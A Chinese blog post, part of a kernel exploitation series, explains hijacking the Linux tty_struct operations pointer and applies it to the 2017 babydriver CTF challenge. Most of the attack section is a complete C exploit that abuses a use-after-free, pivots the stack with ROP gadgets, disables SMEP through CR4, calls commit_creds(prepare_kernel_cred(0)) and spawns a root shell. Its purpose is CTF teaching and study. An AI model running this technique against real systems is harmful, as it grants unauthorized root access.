eeeeeeeeeeeeeeeea

愿我们永远热泪盈眶!

0%

kernel pwn(三)

kernel pwn(三)

万般皆是命,半点不由人。

对于linux内核的各种函数的地址是存在系统的/proc/kallsyms中的,而且必须要是root用户才能查看其地址偏移。

下面是正文。

次攻击手法主要是在海神博客学到的,伪造tty_struct结构体来进行提权或者说执行任意函数。

一:原理

用户打开ptmx驱动时,我们在用open函数时会创建一个tty_struct结构体,这个结构体也是通过kmalloc申请出来的堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; //注意~~~注意
int index;

/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;

struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;

struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

上面tty_struct结构体中有一个tty_operations结构体,顾名思义,就是对tty设备进行操作的结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count); //注意!!!注意
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

而当我们对open后的设备进行操作时,就会调用这里面的函数指针来寻找函数。

那我们可以修改tty_operations里的函数指针指向我们所需要的gadgets处(伪造tty_operations),再修改tty_struct的tty_operations结构体的指针指向我们伪造的gadgets处。

二:实战(2017babydriver)

1.寻找gadgets

首先要寻找我们需要的gadgets,按照上述思路肯定需要栈迁移,我们可以用objdump或者ropper来寻找gadgets

2.思路

1
2
3
1.修改tty_struct的operations指针指向我们伪造的tty_operations
2.伪造一个tty_operations,修改write指针指向伪造的rop
3.构造rop,但是此rop必须要能将栈转移到我们能控制的地方

3.分析

在内核态下,我们需要先提权然后再回到用户态指向system函数,而返回用户态需要”恢复现场“,所以在exp一开始要先“保护现场”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//mov cr4, rdi ; pop rbp ; ret
#define MOV_CR4_RDI 0xffffffff81004d80
//pop rdi ; ret
#define POP_RDI 0xffffffff810d238d
//swapgs ; pop rbp ; ret
#define SWAPGS 0xffffffff81063694
//iretq
#define IRETQ 0xFFFFFFFF8181A797
//commit_creds函数
#define COMMIT_CREDS 0xffffffff810a1420
// prepare_kernel_cred
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
//mov rsp, rax;dec ebx;ret,做栈迁移用
#define MOV_RSP_RAX 0xFFFFFFFF8181BFC5
#define POP_RAX 0xffffffff8100ce6e

void getRoot() {
//函数指针
void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
//commit_creds(prepare_kernel_cred(0))
(*cc)((*pkc)(0));
}

void getShell() {
if (getuid() == 0) {
printf("[+]Rooted!!\n");
system("/bin/sh");
} else {
printf("[+]Root Fail!!\n");
}
}

size_t user_cs,user_ss,user_flags,user_sp;

/*保存用户态的寄存器到变量里*/
void saveUserState() {
__asm__("mov %cs,user_cs;"
"mov %ss,user_ss;"
"mov %rsp,user_sp;"
"pushf;"
"pop user_flags;"
);
puts("user states have been saved!!");
}

int main() {
//保存用户态寄存器
saveUserState();
int fd1 = open("/dev/babydev",O_RDWR);
int fd2 = open("/dev/babydev",O_RDWR);
if (fd1 < 0 || fd2 < 0) {
printf("open file error!!\n");
exit(-1);
}
//申请一个tty_struct大小的堆
ioctl(fd1,0x10001,TTY_STRUCT_SIZE);
//释放这个堆
close(fd1);
size_t rop[0x100];
int i = 0;
rop[i++] = POP_RDI;
rop[i++] = 0x6f0;
rop[i++] = MOV_CR4_RDI; //关闭smep保护,smep保护要看cr4的值
rop[i++] = 0;
rop[i++] = (size_t)getRoot;
rop[i++] = SWAPGS;
rop[i++] = 0;
rop[i++] = IRETQ;
rop[i++] = (size_t)getShell;
rop[i++] = user_cs;
rop[i++] = user_flags;
rop[i++] = user_sp;
rop[i++] = user_ss;

size_t fake_tty_operations[35];
/*for (int i=0;i<35;i++) {
fake_tty_operations[i] = 0xffffffffc0000000 + i;
}*/
//这个位置是write函数的指针,经过调试,我们发现当调用这个函数时,rax正好是fake_tty_operation的地址,于是,我们把栈转移到
//fake_tty_operations里
fake_tty_operations[7] = MOV_RSP_RAX;
//栈转移到fake_tty_operations里后,我们继续做一次转移,把转转移到我们的rop数组里,执行ROP
fake_tty_operations[0] = POP_RAX;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[2] = MOV_RSP_RAX;

size_t fake_tty_struct[4];
//这个操作会申请tty_struct的空间,也就是会申请到我们之前释放的那个堆里,我们可以用fd2来对它操作
int fd_tty = open("/dev/ptmx", O_RDWR);
//我们先把原始的tty_struct前面的数据读出来,存储
read(fd2,fake_tty_struct,4*8);
//修改const struct tty_operations *ops;指针,指向我们伪造的tty_operations
fake_tty_struct[3] = (size_t)fake_tty_operations;
//把篡改过的tty_struct写回去
write(fd2,fake_tty_struct,4*8);
char buf[0x10];
write(fd_tty,buf,0x10);
return 0;
}

系统根据 CR4 寄存器的值判断是否开启 smep 保护,当 CR4 寄存器的第 20 位是 1 时,保护开启;是 0 时,保护关闭。